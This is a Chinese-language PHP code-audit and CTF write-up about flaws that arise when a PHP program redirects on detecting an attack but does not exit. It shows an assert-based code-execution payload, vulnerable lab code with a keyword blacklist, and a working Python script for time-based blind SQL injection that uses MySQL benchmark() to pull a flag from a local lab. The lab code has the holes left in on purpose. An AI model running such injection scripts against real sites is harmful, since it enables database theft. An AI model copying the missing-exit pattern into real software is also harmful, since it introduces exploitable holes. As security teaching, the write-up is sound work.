PHP代码审计-程序未恰当使用exit导致的问题

前言

不仅学到了审计的知识,还学了一种盲注的新姿势。



DAY10-Anticipation

题目叫预期,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

extract(_POST);
function (){
error_log("Hacking attemp.");
header('Location:/error/');
}
if(!isset(pi)||!is_numeric($pi)){
goAway();
}

if(!assert("(int)$pi == 3")){
echo "This is not pi.";
}else{
echo "This might be pi.";
}
?>

漏洞解析:

这道题目实际上讲的是当检测到攻击时,虽然有相应的防御操作,但是程序未立即停止退出,导致程序继续执行的问题。程序在 第一行处 使用 extract 函数,将 POST 请求的数据全都注册成变量, extract 函数的定义如下:

extract :(PHP 4, PHP 5, PHP 7)

功能 :从数组中将变量导入到当前的符号表

定义int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )

该函数实际上就是把数组中的键值对注册成变量,键名成为变量名,键值成为变量值。

这样我们就可以控制 第7行 处的 pi 变量。程序对 pi 变量进行简单的验证,如果不是数字或者没有设置 pi 变量,程序就会执行 goAway 方法,即记录错误信息并直接重定向到 /error/ 页面。看来程序员这里是对非法的操作进行了一定的处理。但是关键在于,程序在处理完之后,没有立即退出,这样程序又会按照流程执行下去,也就到了 第11行assert 语句。由于前面 pi 变量可以被用户控制,所以在这一行存在远程代码执行漏洞。例如我们的payload为:pi=phpinfo(),虽然我们无法直接看到phpinfo的页面,但是通过抓包我们能看到程序的确执行了phpinfo

实际上,这样的漏洞在真实环境中还不少,很多的CMS通过检测是否存在install.lock文件来判断是否安装过,如果安装过就直接将用户重定向到网站首页,但很多时候却忘记直接退出程序,从而导致网站重装漏洞的发生。

题目分析

这是一道由于没有及时退出而导致的注入漏洞,下来看看代码

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\",""","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>
1
2
3
4
5
6
7
// config.php

$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day10";
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 搭建CTF环境使用的sql语句
create database day10;
use day10;
create table students (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
score int(8) unsigned not null );

INSERT INTO students VALUES(1,'Lucia','[email protected]',100);
INSERT INTO students VALUES(2,'Danny','[email protected]',59);
INSERT INTO students VALUES(3,'Alina','[email protected]',66);
INSERT INTO students VALUES(4,'Jameson','[email protected]',13);
INSERT INTO students VALUES(5,'Allie','[email protected]',88);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}');

搭建后的效果

题目分析:

代码通过GET传入id参数,根据id值进行查询相应的学生姓名、邮箱和成绩,这里显然存在注入漏洞。

但是查询之前id参数的值被stophack函数过滤了一遍,它将一些SQL语句的关键字替换成HongRi,并用strip_tags函数去掉空字符、HTML和PHP标记。但是问题在于在匹配替换关键字后程序并没有退出,所以程序会继续向下执行,被过滤后的id参数值仍然会被拼接到SQL语句中被执行。所以我们只要构造注入语句绕过它的黑名单就能执行注入攻击。

纵观整个程序,当SQL语句执行出错时并不会将错误信息显示出来,所以这里显然只能进行盲注。显然开发也注意到了这个问题,所以他把盲注最重要的sleep函数也加入了黑名单过滤掉了。所以我们这里就需要一些骚姿势,也就是不利用sleep函数进行延时注入。

这里我主要讲一下我要用的benchmark函数及逆行延时盲注。

benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。我们来看一个例子:

这个例子很简单,就是执行7^3^8共200000000次,它的执行时间大约是2.74秒,所以我们可以用这个函数来达到延时的效果。

下面直接贴一下注入脚本的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: cp936 -*-
import requests

flag = ''

def getFlagResult(i,j):
payload = "-1 or if(ascii(mid((select flag from flag),%s,1))>=%s,benchmark(200000000,7^3^8),0)" % (i,j)
url = "http://127.0.0.1/PHP-Audit-Labs/DAY10/index.php?id=%s" % payload
try:
r = requests.get(url=url,timeout=2.7)
return False
except:
return True

for i in range(1,22):
left = 32
right = 127
mid = (left + right)/2
while left<right-1:
if getFlagResult(i,mid) == True:
left = mid
else:
right = mid
mid = (left + right)/2
flag = flag + chr(left)
print("[-] Try to get flag: %s" % flag)

结果:


参考链接:

[红日安全]代码审计Day10 - 程序未恰当exit导致的问题

[红日安全]PHP-Audit-Labs题解之Day9-12

mysql 延时注入新思路